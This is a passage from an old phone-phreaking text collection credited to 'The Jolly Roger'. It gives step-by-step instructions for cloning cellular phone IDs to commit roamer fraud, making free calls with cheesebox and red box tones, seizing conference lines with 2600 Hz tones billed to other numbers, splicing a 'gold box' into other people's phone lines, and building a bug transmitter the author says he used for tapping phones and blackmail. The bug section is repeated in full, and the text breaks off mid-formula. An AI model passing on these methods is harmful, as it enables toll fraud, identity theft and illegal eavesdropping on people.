  9801. In some areas you may need to put another NPA before the 141
  9802. (i.e., KP + 213 + 141 + ST), if you have no local R&R ops.
  9803.  
  9804.         The R&R operator has a myriad of information, and all it
  9805. takes to get this data is mumbling cryptic phrases.  There are
  9806. basically four special phrases to give the R&R ops.  They are
  9807. NUMBERS route, DIRECTORY route, OPERATOR route, and PLACE NAME.
  9808.  
  9809.         To get an R&R an area code for a city, one can call the
  9810. R&R operator and ask for the numbers route.  For example, to find
  9811. the area code for Carson City, Nevada, we'd ask the R&R op for
  9812. "Carson City, Nevada, numbers route, please." and get the answer,
  9813. "Right... 702 plus." meaning that 702 plus 7 digits gets us
  9814. there.
  9815.         Sometimes directory assistance isn't just NPA + 131. The
  9816. way to get these routings is to call R&R and ask for "Anaheim,
  9817. California, directory route, please." Of course, she'd tell us it
  9818. was 714 plus, which means 714 + 131 gets us the D.A. op there.
  9819. This is sort of pointless example, but I couldn't come up with a
  9820. better one on short notice.
  9821.  
  9822.         Let's say you wanted to find out how to get to the inward
  9823. operator for Sacremento, California.  The first six digits of a
  9824. number in that city will be required (the NPA and an NXX).  For
  9825. example, let us use 916 756. We would call R&R, and when the
  9826. operator answered, say, "916 756, operator route, please." The
  9827. operator would say, "916 plus 001 plus."  This means that 916
  9828. + 001 + 121 will get you the inward operator for Sacramento. Do
  9829. you know the city which corresponds to 503 640?  The R&R operator
  9830. does, and will tell you that it is Hillsboro, Oregon, if you
  9831. sweetly ask for "Place name, 503 640, please."
  9832.  
  9833.         For example, let's say you need the directory route for
  9834. Sveg, Sweden. Simply call R&R, and ask for, "International,
  9835. Baden, Switzerland. TSPS directory route, please."  In response
  9836. to this, you'd get, "Right... Directory to Sveg, Sweden.  Country
  9837. code 46 plus 1170."  So you'd route yourself to an
  9838. international sender, and send 46 + 1170 to get the D.A. operator
  9839. in Sweden.
  9840.  
  9841.         Inward operator routings to various countries are
  9842. obtained the same way "International, London, England, TSPS
  9843. inward route, please." and get "Country code 44 plus 121."
  9844. Therefore, 44 plus 121 gets you inward for London.
  9845.         Inwards can get you language assitance if you don't speak
  9846. the language. Tell the foreign inward, "United Staes calling.
  9847. Language assitance in completing a call to (called party) at
  9848. (called number)."
  9849.         R&R operators are people are people too, y'know.  So
  9850. always be polite, make sure use of 'em, and dial with care.
  9851.  
  9852.  
  9853. ---------------Jolly Roger
  9854.  
  9855. Cellular Phreaking                         courtesy of The  Jolly Roger
  9856.  
  9857.      The cellular/mobile phone system is one that is perfectly set up to be
  9858. exploited by phreaks with the proper knowledge and equipment.  Thanks to
  9859. deregulation, the regional BOC's (Bell Operating Companies) are scattered
  9860. and do not communicate much with each other.  Phreaks can take advantage of
  9861. this by pretending to be mobile phone customers whose "home base" is a city
  9862. served by a different BOC, known as a "roamer".  Since it is impractical
  9863. for each BOC to keep track of the customers of all the other BOC's, they
  9864. will usually allow the customer to make the calls he wishes, often with a
  9865. surcharge of some sort.
  9866.  
  9867. The bill is then forwarded to the roamer's home BOC for collection.
  9868. However, it is fairly simple (with the correct tools) to create a bogus ID
  9869. number for your mobile phone, and pretend to be a roamer from some other
  9870. city and state, that's "just visiting".  When your BOC tries to collect for
  9871. the calls from your alleged "home BOC", they will discover you are not a
  9872. real customer; but by then, you can create an entirely new electronic
  9873. identity, and use that instead. 
  9874.     How does the cellular system know who is calling, and where they are?
  9875. When a mobile phone enters a cell's area of transmission, it transmits its
  9876. phone number and its 8 digit ID number to that cell, who will keep track of
  9877. it until it gets far enough away that the sound quality is sufficiently
  9878. diminished, and then the phone is "handed off" to the cell that the customer
  9879. has walked or driven into.  This process continues as long as the phone has
  9880. power and is turned on.  If the phone is turned off (or the car is), someone
  9881. attempting to call the mobile phone will receive a recording along the
  9882. lines of "The mobile phone customer you have dialed has left the vehicle
  9883. or driven out of the service area."   When a call is made to a mobile phone,
  9884. the switching equipment will check to see if the mobile phone being called is
  9885. "logged in", so to speak, or present in one of the cells.  If it is, the
  9886. call will then act (to the speaking parties) just like a normal call - the
  9887. caller may hear a busy tone, the phone may just ring, or the call may be
  9888. answered. 
  9889.     How does the switching equipment know whether or not a particular
  9890. phone is authorized to use the network?  Many times, it doesn't.  When a
  9891. dealer installs a mobile phone, he gives the phone's ID number (an 8 digit
  9892. hexadecimal number) to the local BOC, as well as the phone number the BOC
  9893. assigned to the customer.  Thereafter, whenever a phone is present in one
  9894. of the cells, the two numbers are checked - they should be registered to
  9895. the same person.  If they don't match, the telco knows that an attempted
  9896. fraud is taking place (or at best, some transmission error) and will not
  9897. allow calls to be placed or received at that phone.  However, it is
  9898. impractical (especially given the present state of deregulation) for the
  9899. telco to have records of every cellular customer of every BOC.  Therefore,
  9900. if you're going to create a fake ID/phone number combination, it will need
  9901. to be "based" in an area that has a cellular system (obviously), has a
  9902. different BOC than your local area does, and has some sort of a "roamer"
  9903. agreement with your local BOC.
  9904.  
  9905.    How can one "phreak" a cellular phone?  There are three general areas
  9906. when phreaking cellular phones; using one you found in an unlocked car
  9907. (or an unattended walk-about model), modifying your own chip set to look
  9908. like a different phone, or recording the phone number/ID number combinations
  9909. sent by other local cellular phones, and using those as your own.  Most
  9910. cellular phones include a crude "password" system to keep unauthorized
  9911. users from using the phone - however, dealers often set the password 
  9912. (usually a 3 to 5 digit code) to the last four digits of the customer's
  9913. mobile phone number.  If you can find that somewhere on the phone, you're
  9914. in luck.  If not, it shouldn't be TOO hard to hack, since most people
  9915. aren't smart enough to use something besides "1111", "1234", or whatever.
  9916. If you want to modify the chip set in a cellular phone you bought
  9917. (or stole), there are two chips (of course, this depends on the model and
  9918. manufacturer, yours may be different) that will need to be changed - one
  9919. installed at the manufacturer (often epoxied in) with the phone's ID
  9920. number, and one installed by the dealer with the phone number, and possible
  9921. the security code.  To do this, you'll obviously need an EPROM burner
  9922. as well as the same sort of chips used in the phone (or a friendly and
  9923. unscrupulous dealer!).  As to recording the numbers of other mobile phone
  9924. customers and using them; as far as I know, this is just theory... but it
  9925. seems quite possible, if you've got the equipment to record and decode it.
  9926. The cellular system would probably freak out if two phones (with valid
  9927. ID/phone number combinations) were both present in the network at once,
  9928. but it remains to be seen what will happen.
  9929.  
  9930. -----------------Jolly Roger
  9931.  
  9932. Cheesebox Plans                         Courtesy of The Jolly Roger
  9933.  
  9934.      A Cheesebox (named for the type of box the first one was
  9935. found in) is a type of box which will, in effect, make your
  9936. telephone a Pay-Phone.....This is a simple,modernized, and easy
  9937. way of doing it....
  9938.  
  9939.       Inside Info:These were first used by bookies many years ago
  9940. as a way of making calls to people without being called by the
  9941. cops or having their numbers traced and/or tapped......
  9942.  
  9943.      How To Make A Modern Cheese Box
  9944.  
  9945.      Ingredients:
  9946.      ------------
  9947.  
  9948.      1 Call Forwarding service on the line
  9949.  
  9950.      1 Set of Red Box Tones
  9951.  
  9952.      The number to your prefix's Intercept operator (do some scanning
  9953.      for this one)
  9954.  
  9955.      How To:
  9956.      -------
  9957.  
  9958.        After you find the number to the intercept operator in
  9959. your prefix, use your call-forwarding and forward all calls to
  9960. her...this will make your phone stay off the hook(actually, now
  9961. it waits for a quarter to be dropped in)...you now have a cheese
  9962. box... In Order To Call Out On This Line:You must use your Red
  9963. Box tones and generate the quarter dropping in...then,you can
  9964. make phone calls to people...as far as I know, this is fairly
  9965. safe, and they do not check much...Although I am not sure, I
  9966. think you can even make credit-card calls from a cheesebox
  9967. phone and not get traced...
  9968.  
  9969.  
  9970.  
  9971. HOW TO START YOUR OWN CONFERENCES!      Brought to you by The Jolly Roger
  9972.  
  9973. BLACK BART SHOWED HOW TO START A CONFERENCE CALL THRU AN 800 EXCHANGE, AND I
  9974. WILL NOW EXPLAIN HOW TO START A CONFERENCE CALL IN A MORE ORTHODOX FASHIO, THE
  9975. 2600 HZ. TONE.
  9976.  
  9977. FIRSTLY, THE FONE COMPANY HAS WHAT IS CALLED SWITCHING SYSTEMS.  THERE ARE SE
  9978. VERAL TYPES, BUT THE ONE WE WILL CONCERN OURSELVES WITH, IS ESS (ELECTRONIC
  9979. SWITCHING SYSTEM).  IF YOUR AREA IS ZONED FOR ESS, DO NOT START A CONFERENCE
  9980. CALL VIA THE 2600 HZ. TONE, OR BELL SECURITY WILL NAIL YOUR ASS!  TO FND OUT IF
  9981. YOU ARE UNDER ESS, CALL YOUR LOCAL BUSINESS OFFICE, AND ASK THEM IF YOU CAN GET
  9982. CALL WAITING/FORWARDING, AND IF YOU CAN, THAT MEANS THAT YOU ARE IN ESS COUNTRY
  9983. , AND CONFERENCE CALLING IS VERY, VERY DANGEROUS!!! NOW, IF YOU ARE NOT IN ESS,
  9984. YOU WILL NEED THE FOLLOWING EQUIPMENT:
  9985.  
  9986.   AN APPLE CAT II MODEM
  9987.   A COPY OF TSPS 2 OR CAT'S MEOW
  9988.   A TOUCH TONE FONE LINE
  9989.   AND A TOUCH TONE FONE. (TRUE TONE)
  9990.  
  9991. NOW, WITH TSPS 2, DO THE FOLLOWING:
  9992.  
  9993.  RUN TSPS 2
  9994.  CHOSE OPTION 1
  9995.  CHOSE OPTION 6
  9996.  CHOSE SUB-OPTION 9
  9997.  
  9998.   NOW TYPE:
  9999.  
  10000.  1-514-555-1212 (DASHES ARE NOT NEEDED)
  10001.  
  10002. LISTEN WITH YOUR HANDSET, AND AS SOON AS YOU HEAR A LOUD 'CLICK', THEN TYPE
  10003.  
  10004.  $
  10005.  
  10006. TO GENERATE THE 2600 HZ. TONE.  THIS OBNOXIOUS TONE WILL CONTINUE FOR A FEW
  10007. SECONDS, THEN LISTEN AGAIN AND YOU SHOULD HEAR ANOTHER LOUD 'CLICK'.
  10008.  
  10009.  NOW TYPE:
  10010.  
  10011.  KM2130801050S
  10012.  
  10013. WHERE 'K' = KP TONE
  10014.       'M' = MULTI FREQUENCY MODE
  10015.       'S' = S TONE
  10016.  
  10017. NOW LISTEN TO THE HANDSET AGAIN, AND WAIT UNTIL YOU HEAR THE 'CLICK' AGAIN.
  10018. THEN TYPE:
  10019.  
  10020.   KM2139752975S
  10021.  
  10022. WHERE 2139751975 IS THE NUMBER TO BILL THE CONFERENCE CALL TO. NOTE: 213-975-
  10023. 1975 IS A DISCONNECTED NUMBER, AND I STRONGLY ADVISE THAT YOU ONLY BILL THE
  10024. CALL TO THIS NUMBER, OR THE FONE COMPANY WILL FIND OUT, AND THEN..........
  10025. REMEBER, CONFERENCE CALLS ARE ITEMIZED, SO IF YOU DO BILL IT TO AN ENEMY'S NUMB
  10026. ER, HE CAN EASILY FIND OUT WHO DID IT AND HE CAN BUST YOU!
  10027.  
  10028. YOU SHOULD NOW HEAR 3 BEEPS, AND A SHORT PRE-RECORDED MESSAGE.  FROM HERE ON,
  10029. EVERYTHING IS ALL MENU DRIVEN.
  10030.  
  10031.  CONFERENCE CALL COMMANDS
  10032.  ---------- ---- --------
  10033.  
  10034.    FROM THE '#' MODE:
  10035.  
  10036.      1 = CALL A NUMBER
  10037.      6 = TRANSFER CONTROL
  10038.      7 = HANGS UP THE CONFERENCE CALL
  10039.      9 = WILL CALL A CONFERENCE OPERATR
  10040.  
  10041. STAY AWAY FROM 7 AND 9!  IF FOR SOME REASON AN OPERATOR GETS ON-LINE,
  10042. HANG UP! IF YOU GET A BUSY SIGNAL AFTER KM2130801050S, THAT MEANS THAT THE
  10043. TELECONFEREN CING LINE IS TEMPORARILY DOWN.  TRY LATER, PREFERRABLY FROM 9AM TO
  10044. 5PM WEEK DAYS, SINCE CONFERENCE CALLS ARE PRIMARILY DESIGNED FOR BUSINESS
  10045. PEOPLE.
  10046.                 THE LEECH
  10047.  
  10048.  
  10049.  
  10050. Gold Box Plans                                        by The Jolly Roger
  10051.  
  10052.  
  10053. HOW TO BUILD IT
  10054. _______________
  10055.  
  10056.  
  10057.      You will need the following:
  10058.  
  10059. Two 10K OHM and three 1.4K OHM resistors
  10060. Two 2N3904 transistors
  10061. Two Photo Cells
  10062. Two Red LED'S (The more light produced the better)
  10063. A box that will not let light in
  10064. Red and Green Wire
  10065.  
  10066. Light from the #1 LED must shine directly on the photocell #1. The gold
  10067. box I made needed the top of the LED's to touch the photo cell for it to
  10068. work.
  10069.  
  10070. The same applies to the #2 photo cell and LED.
  10071.  
  10072.           1
  10073.     :-PHOTOCELL--: 
  10074.     :            :
  10075.     :            :BASE
  10076.     :    1     TTTTT
  10077.     :  +LED-   TRANSISTOR              
  10078.     :          TTTTT                   
  10079.     :           : :                    
  10080.     :  -I(--    : :COLLECTOR
  10081. RED1--<     >:--: :-------:-----GREEN2
  10082.        -I(-- :            ----------:
  10083.              :                      :  
  10084.         2    :-/+/+/-/+/+/-/+/+/-/+/+/ 
  10085.        LED     10K    10K   1.4K 1.4K  
  10086.                  RESISTORES
  10087.  
  10088.             2
  10089.        -PHOTOCELL-----------------
  10090.        :                         :
  10091.        :BASE                     :
  10092.      TTTTT                       :
  10093.      TRANSISTOR                  :
  10094.      TTTTT                       :     
  10095.       : :EMITTER                 :
  10096. GREEN1- --------------------------RED2
  10097.      :   :
  10098.      /+/+/
  10099.       1.4K  
  10100.  
  10101. The 1.4K resistor is variable and if the second part of the gold box is 
  10102. skipped it will still work but when someone picks up the phone they will
  10103. hear a faint dial tone in the background and might report it to the 
  10104. Gestapo er...(AT&T). 
  10105. 1.4K will give you good reception with little risk of a Gestapo agent at 
  10106. your door.
  10107.  
  10108.     
  10109. Now that you have built it take two green wires of the same length and
  10110. strip the ends, twist two ends together and connect them to green1 and
  10111. place a piece of tape on it with "line #1" writing on it.
  10112.  
  10113. Continue the process with red1 only use red wire. Repeat with red2 and 
  10114. green2 but change to line #2.
  10115.  
  10116.  
  10117.  
  10118.  
  10119.  
  10120. HOW TO INSTALL
  10121. ______________
  10122.  
  10123. You will need to find two phone lines that are close together. Label one of
  10124. teh phone lines "Line #1". Cut the phone lines and take the outer coating
  10125. off it. Tere should be 4 wires. Cut the yellow and black wires off and
  10126. strip the red and green wires for both lines.
  10127.  
  10128. Line #1 should be in two pieces. Take the green wire of one end and connect 
  10129. it to one of the green wires on the gold box. Take the other half of line
  10130. #1 and hook the free green wire to the green wire on the phone line. Repeat
  10131. the process with red1 and the other line.
  10132.  
  10133. All you need to do now is to write down the phone numbers of the place you
  10134. hooked it up at and go home and call it. You should get a dial tone!!!
  10135. If not, try changing the emittor with the collector.
  10136.  
  10137.  
  10138. Have a great time with this!            -----------Jolly Roger
  10139.  
  10140. The History of ESS                     Courtesy of the Jolly Roger
  10141.  
  10142.    Of all the new 1960s wonders of telephone technology -
  10143. satellites, ultra modern Traffic Service Positions (TSPS) for
  10144. operators, the picturephone, and so on - the one that gave Bell
  10145. Labs the most trouble, and unexpectedly became the greatest
  10146. development effort in Bell System's history, was the perfection
  10147. of an electronic switching system, or ESS.
  10148.  
  10149.    It may be recalled that such a system was the specific end in
  10150. view when the project that had culminated in the invention of the
  10151. transistor had been launched back in the 1930s. After successful
  10152. accomplishment of that planned miracle in 1947-48, further delays
  10153. were brought about by financial stringency and the need for
  10154. further development of the transistor itself. In the early 1950s,
  10155. a Labs team began serious work on electronic switching. As early
  10156. as 1955, Western Electric became involved when five engineers
  10157. from the Hawthorne works were assigned to collaborate with the
  10158. Labs on the project. The president of AT&T in 1956, wrote
  10159. confidently, "At Bell Labs, development of the new electronic
  10160. switching system is going full speed ahead. We are sure this will
  10161. lead to many improvements in service and also to greater
  10162. efficiency. The first service trial will start in Morris, Ill.,
  10163. in 1959." Shortly thereafter, Kappel said that the cost of the
  10164. whole project would probably be $45 million.
  10165.  
  10166.    But it gradually became apparent that the developement of a
  10167. commercially usable electronic switching system - in effect, a
  10168. computerized telephone exchange - presented vastly greater
  10169. technical problems than had been anticipated, and that,
  10170. accordingly, Bell Labs had vastly underestimated both the time
  10171. and the investment needed to do the job. The year 1959 passed
  10172. without the promised first trial at Morris, Illinois; it was
  10173. finally made in November 1960, and quickly showed how much more
  10174. work remained to be done. As time dragged on and costs mounted,
  10175. there was a concern at AT&T and something approaching panic at
  10176. Bell Labs. But the project had to go forward; by this time the
  10177. investment was too great to be sacrificed, and in any case,
  10178. forward projections of increased demand for telephone service
  10179. indicated that within a phew years a time would come when,
  10180. without the quantum leap in speed and flexibility that electronic
  10181. switching would provide, the national network would be unable to
  10182. meet the demand. In November 1963, an all-electronic switching
  10183. system went into use at the Brown Engineering Company at Cocoa
  10184. Beach, Florida. But this was a small installation, essentially
  10185. another test installation, serving only a single company.
  10186. Kappel's tone on the subject in the 1964 annual report was, for
  10187. him, an almost apologetic: "Electronic switching equipment must
  10188. be manufactured in volume to unprecedented standards of
  10189. reliability.... To turn out the equipment economically and with
  10190. good speed, mass production methods must be developed; but, at
  10191. the same time, there can be no loss of precision..." Another year
  10192. and millions of dollars later, on May 30, 1965, the first
  10193. commercial electric centeral office was put into service at
  10194. Succasunna, New Jersey.
  10195.  
  10196.    Even at Succasunna, only 200 of the town's 4,300 subscribers
  10197. initially had the benefit of electronic switching's added speed
  10198. and additional services, such as provision for three party
  10199. conversations and automatic transfer of incoming calls. But after
  10200. that, ESS was on its way. In January 1966, the second commercial
  10201. installation, this one serving 2,900 telephones, went into
  10202. service in Chase, Maryland. By the end of 1967 there were
  10203. additional ESS offices in California, Connecticut, Minnesota,
  10204. Georgia, New York, Florida, and Pennsylvania; by the end of 1970
  10205. there were 120 offices serving 1.8 million customers; and by 1974
  10206. there were 475 offices serving 5.6 million customers.
  10207.  
  10208.    The difference between conventional switching and electronic
  10209. switching is the difference between "hardware" and "software"; in
  10210. the former case, maintenence is done on the spot, with
  10211. screwdriver and pliers, while in the case of electronic
  10212. switching, it can be done remotely, by computer, from a centeral
  10213. point, making it possible to have only one or two technicians on
  10214. duty at a time at each switching center. The development program,
  10215. when the final figures were added up, was found to have required
  10216. a staggering four thousand man-years of work at Bell Labs and to
  10217. have cost not $45 million but $500 million!
  10218.  
  10219.  
  10220. The Lunch Box                          Courtesy of the Jolly Roger
  10221.  
  10222. Introduction
  10223. ===========
  10224.  
  10225. The Lunch Box is a VERY simple transmitter which can be handy for all sorts of
  10226. things. It is quite small and can easily be put in a number of places. I have
  10227. successfully used it for tapping fones, getting inside info, blackmail and
  10228. other such things. The possibilities are endless. I will also include the plans
  10229. or an equally small receiver for your newly made toy. Use it for just about
  10230. anything. You can also make the transmitter and receiver together in one box
  10231. and use it as a walkie talkie.
  10232.  
  10233. Materials you will need
  10234. ======================
  10235.  
  10236. (1) 9 volt battery with battery clip
  10237. (1) 25-mfd, 15 volt electrolytic capacitor
  10238. (2) .0047 mfd capacitors
  10239. (1) .022 mfd capacitor
  10240. (1) 51 pf capacitor
  10241. (1) 365 pf variable capacitor
  10242. (1) Transistor antenna coil
  10243. (1) 2N366 transistor
  10244. (1) 2N464 transistor
  10245. (1) 100k resistor
  10246. (1) 5.6k resistor
  10247. (1) 10k resistor
  10248. (1) 2meg potentiometer with SPST switch
  10249.  Some good wire, solder, soldering iron, board to put it on, box (optional)
  10250.  
  10251. Schematic for The Lunch Box
  10252. ===========================
  10253.  
  10254. This may get a tad confusing but just print it out and pay attention.
  10255.  
  10256.          [!]
  10257.           !
  10258.         51 pf
  10259.           !
  10260.        ---+----  ------------base   collector
  10261.       !        )(               2N366       +----+------/\/\/----GND
  10262.     365 pf     ()              emitter           !
  10263.        !        )(                 !              !
  10264.       +--------  ---+----         !              !
  10265.       !             !    !        !              !
  10266.      GND            /  .022mfd    !              !
  10267.                  10k\    !        !              !
  10268.                     /   GND       +------------------------emitter
  10269.                     !             !              !             2N464
  10270.                     /           .0047            !          base   collector
  10271.               2meg  \----+        !              !   +--------+       !
  10272.                     /    !       GND             !   !                !
  10273.                         GND                      !   !                !
  10274.         +-------------+.0047+--------------------+   !                !
  10275.                                                       !   +--25mfd-----+
  10276.             -----------------------------------------+   !            !
  10277.        microphone                                        +--/\/\/-----+
  10278.             ---------------------------------------------+   100k     !
  10279.                                                                       !
  10280.                   GND---->/<---------------------!+!+!+---------------+
  10281.                         switch                  Battery
  10282.                     from 2meg pot.
  10283.  
  10284.  
  10285. Notes about the schematic
  10286. =========================
  10287.  
  10288. 1.  GND means ground
  10289. 2.  The GND near the switch and the GND by the 2meg potentiometer should be
  10290.     connected.
  10291. 3.  Where you see:  )(
  10292.                     ()
  10293.                     )( it is the transistor antenna coil with 15 turns of
  10294.                        regular hook-up wire around it.
  10295. 4.  The middle of the loop on the left side (the left of "()") you should run
  10296.     a wire down to the "+" which has nothing attached to it. There is a .0047
  10297.     capacitor on the correct piece of wire.
  10298. 5.  For the microphone use a magnetic earphone (1k to 2k).
  10299. 6.  Where you see "[!]" is the antenna. Use about 8 feet of wire to broadcast
  10300.     approx 300ft. Part 15 of the FCC rules and regulation says you can't
  10301.     broadcast over 300 feet without a license. (Hahaha). Use more wire for an
  10302.     antenna for longer distances. (Attach it to the black wire on the fone
  10303.     line for about a 250 foot antenna!)
  10304.  
  10305. Operation of the Lunch Box
  10306. ==========================
  10307.  
  10308. This transmitter will send the signals over the AM radio band. You use the
  10309. variable capacitor to adjust what freq. you want to use. Find a good unused
  10310. freq. down at the lower end of the scale and you're set. Use the 2 meg pot. to
  10311. adjust gain. Just fuck with it until you get what sounds good. The switch on
  10312. the 2meg is for turning the Lunch Box on and off. When everything is adjusted,
  10313. turn on an AM radio adjust it to where you think the signal is. Have a friend
  10314. lay some shit thru the Box and tune in to it. That's all there is to it. The
  10315. plans for a simple receiver are shown below:
  10316.  
  10317. The Lunch Box receiver
  10318. ======================
  10319.  
  10320. (1) 9 volt battery with battery clip
  10321. (1) 365 pf variable capacitor
  10322. (1) 51 pf capacitor
  10323. (1) 1N38B diode
  10324. (1) Transistor antenna coil
  10325. (1) 2N366 transistor
  10326. (1) SPST toggle switch
  10327. (1) 1k to 2k magnetic earphone
  10328.  
  10329. Schematic for receiver
  10330. ======================
  10331.  
  10332.          [!]
  10333.            !
  10334.         51 pf
  10335.           !
  10336.      +----+----+
  10337.      !         !
  10338.      )       365 pf
  10339.      (----+    !
  10340.      )    !    !
  10341.      +---------+---GND
  10342.           !
  10343.           +---*>!----base  collector-----
  10344.              diode      2N366           earphone
  10345.                         emitter    +-----
  10346.                           !        !
  10347.                          GND       !
  10348.                                     -
  10349.                                    +
  10350.                                    - battery
  10351.                                    +
  10352.            GND------>/<------------+
  10353.                   switch
  10354.  
  10355. Closing statement
  10356. =================
  10357.  
  10358. This two devices can be built for under a total of $10.00. Not too bad. Using
  10359. these devices in illegal ways is your option. If you get caught, I accept NO
  10360. responsibility for your actions. This can be a lot of fun if used correctly.
  10361. Hook it up to the red wire on the phone line and it will send the
  10362. conversation over the air waves.
  10363.  
  10364. Enjoy!
  10365.  
  10366.  
  10367. The Lunch Box                          Courtesy of the Jolly Roger
  10368.  
  10369. Introduction
  10370. ===========
  10371.  
  10372. The Lunch Box is a VERY simple transmitter which can be handy for all sorts of
  10373. things. It is quite small and can easily be put in a number of places. I have
  10374. successfully used it for tapping fones, getting inside info, blackmail and
  10375. other such things. The possibilities are endless. I will also include the plans
  10376. or an equally small receiver for your newly made toy. Use it for just about
  10377. anything. You can also make the transmitter and receiver together in one box
  10378. and use it as a walkie talkie.
  10379.  
  10380. Materials you will need
  10381. ======================
  10382.  
  10383. (1) 9 volt battery with battery clip
  10384. (1) 25-mfd, 15 volt electrolytic capacitor
  10385. (2) .0047 mfd capacitors
  10386. (1) .022 mfd capacitor
  10387. (1) 51 pf capacitor
  10388. (1) 365 pf variable capacitor
  10389. (1) Transistor antenna coil
  10390. (1) 2N366 transistor
  10391. (1) 2N464 transistor
  10392. (1) 100k resistor
  10393. (1) 5.6k resistor
  10394. (1) 10k resistor
  10395. (1) 2meg potentiometer with SPST switch
  10396.  Some good wire, solder, soldering iron, board to put it on, box (optional)
  10397.  
  10398. Schematic for The Lunch Box
  10399. ===========================
  10400.  
  10401. This may get a tad confusing but just print it out and pay attention.
  10402.  
  10403.          [!]
  10404.           !
  10405.         51 pf
  10406.           !
  10407.        ---+----  ------------base   collector
  10408.       !        )(               2N366       +----+------/\/\/----GND
  10409.     365 pf     ()              emitter           !
  10410.        !        )(                 !              !
  10411.       +--------  ---+----         !              !
  10412.       !             !    !        !              !
  10413.      GND            /  .022mfd    !              !
  10414.                  10k\    !        !              !
  10415.                     /   GND       +------------------------emitter
  10416.                     !             !              !             2N464
  10417.                     /           .0047            !          base   collector
  10418.               2meg  \----+        !              !   +--------+       !
  10419.                     /    !       GND             !   !                !
  10420.                         GND                      !   !                !
  10421.         +-------------+.0047+--------------------+   !                !
  10422.                                                       !   +--25mfd-----+
  10423.             -----------------------------------------+   !            !
  10424.        microphone                                        +--/\/\/-----+
  10425.             ---------------------------------------------+   100k     !
  10426.                                                                       !
  10427.                   GND---->/<---------------------!+!+!+---------------+
  10428.                         switch                  Battery
  10429.                     from 2meg pot.
  10430.  
  10431.  
  10432. Notes about the schematic
  10433. =========================
  10434.  
  10435. 1.  GND means ground
  10436. 2.  The GND near the switch and the GND by the 2meg potentiometer should be
  10437.     connected.
  10438. 3.  Where you see:  )(
  10439.                     ()
  10440.                     )( it is the transistor antenna coil with 15 turns of
  10441.                        regular hook-up wire around it.
  10442. 4.  The middle of the loop on the left side (the left of "()") you should run
  10443.     a wire down to the "+" which has nothing attached to it. There is a .0047
  10444.     capacitor on the correct piece of wire.
  10445. 5.  For the microphone use a magnetic earphone (1k to 2k).
  10446. 6.  Where you see "[!]" is the antenna. Use about 8 feet of wire to broadcast
  10447.     approx 300ft. Part 15 of the FCC rules and regulation says you can't
  10448.     broadcast over 300 feet without a license. (Hahaha). Use more wire for an
  10449.     antenna for longer distances. (Attach it to the black wire on the fone
  10450.     line for about a 250 foot antenna!)
  10451.  
  10452. Operation of the Lunch Box
  10453. ==========================
  10454.  
  10455. This transmitter will send the signals over the AM radio band. You use the
  10456. variable capacitor to adjust what freq. you want to use. Find a good unused
  10457. freq. down at the lower end of the scale and you're set. Use the 2 meg pot. to
  10458. adjust gain. Just fuck with it until you get what sounds good. The switch on
  10459. the 2meg is for turning the Lunch Box on and off. When everything is adjusted,
  10460. turn on an AM radio adjust it to where you think the signal is. Have a friend
  10461. lay some shit thru the Box and tune in to it. That's all there is to it. The
  10462. plans for a simple receiver are shown below:
  10463.  
  10464. The Lunch Box receiver
  10465. ======================
  10466.  
  10467. (1) 9 volt battery with battery clip
  10468. (1) 365 pf variable capacitor
  10469. (1) 51 pf capacitor
  10470. (1) 1N38B diode
  10471. (1) Transistor antenna coil
  10472. (1) 2N366 transistor
  10473. (1) SPST toggle switch
  10474. (1) 1k to 2k magnetic earphone
  10475.  
  10476. Schematic for receiver
  10477. ======================
  10478.  
  10479.          [!]
  10480.            !
  10481.         51 pf
  10482.           !
  10483.      +----+----+
  10484.      !         !
  10485.      )       365 pf
  10486.      (----+    !
  10487.      )    !    !
  10488.      +---------+---GND
  10489.           !
  10490.           +---*>!----base  collector-----
  10491.              diode      2N366           earphone
  10492.                         emitter    +-----
  10493.                           !        !
  10494.                          GND       !
  10495.                                     -
  10496.                                    +
  10497.                                    - battery
  10498.                                    +
  10499.            GND------>/<------------+
  10500.                   switch
  10501.  
  10502. Closing statement
  10503. =================
  10504.  
  10505. This two devices can be built for under a total of $10.00. Not too bad. Using
  10506. these devices in illegal ways is your option. If you get caught, I accept NO
  10507. responsibility for your actions. This can be a lot of fun if used correctly.
  10508. Hook it up to the red wire on the phone line and it will send the
  10509. conversation over the air waves.
  10510.  
  10511. Enjoy!
  10512.  
  10513.  
  10514. Olive Box Plans                        Courtesy of the Jolly Roger
  10515.  
  10516.     This is a relatively new box, and all it basically does is serve as a phone
  10517. ringer. You have two choices for ringers, a piezoelectric transducer (ringer),
  10518. or a standard 8 ohm speaker. The speaker has a more pleasant tone to it, but
  10519. either will do fine. This circuit can also be used in conjunction with a rust
  10520. box to control an external something or other when the phone rings. Just connect
  10521. the 8 ohm speaker output to the inputs on the rust box, and control the pot to
  10522. tune it to light the light (which can be replaced by a relay for external
  10523. controlling) when the phone rings.
  10524.  
  10525.              ______________
  10526.             |              |        ^
  10527.        NC --|-- 5      4 --|-----/\/\/------->G
  10528.             |              |      / R2
  10529. G<----)|----|-- 6      3 --|-- NC
  10530.     | C3    |      U1      |
  10531.      -------|-- 7      2 --|---------- --- -- - > TO RINGER
  10532.             |              |
  10533.         ----|-- 8      1 --|--
  10534.        |    |______________|  |
  10535.        |                       ---/\/\/----|(----- L1
  10536.        |                           R1      C1
  10537.         ------------------------------------------ L2
  10538.  
  10539.                   a. Main ringer TTL circuit
  10540.  
  10541. (>::::::::::::::::::::::::::::::::::::::::::::::::::::::::<)
  10542.  
  10543.                                    _
  10544. FROM PIN 2 < - -- --- ----------| |_| |------------->G
  10545.                                     P1
  10546.  
  10547.                   b. Peizoelectric transducer
  10548.  
  10549. (>::::::::::::::::::::::::::::::::::::::::::::::::::::::::<)
  10550.  
  10551.                                                       __  /|
  10552. FROM PIN 2 < - -- --- ---------|(---------.  .-------|  |/ |
  10553.                                           >||<       |S1|  |
  10554.                                           >||<     --|  |  |
  10555.                                           >||<    |  |__|\ |
  10556.                               G<---------.>||<.---        \|
  10557.                                            T1
  10558.                 c. Elctro magnetic transducer
  10559. Parts List
  10560. ----------
  10561.  
  10562. U1 - Texas Instruments TCM1506
  10563. T1 - 4000:8 ohm audio transfomer
  10564. S1 - 8 ohm speaker
  10565. R1 - 2.2k resistor
  10566. R2 - External variable resistor; adjusts timing frequency
  10567. C1 - .47uF capacitor
  10568. C2 - .1uF capacitor
  10569. C3 - 10uF capacitor
  10570. L1 - Tip
  10571. L2 - Ring
  10572.      L1 and L2 are the phone line.
  10573.  
  10574.  
  10575. Shift Rate:
  10576. -----------
  10577.  
  10578.   This is the formula for determining the shift rate:
  10579.  
  10580.                    1                   1
  10581.     SR = --------------------- = ------------ = 6.25 Hz
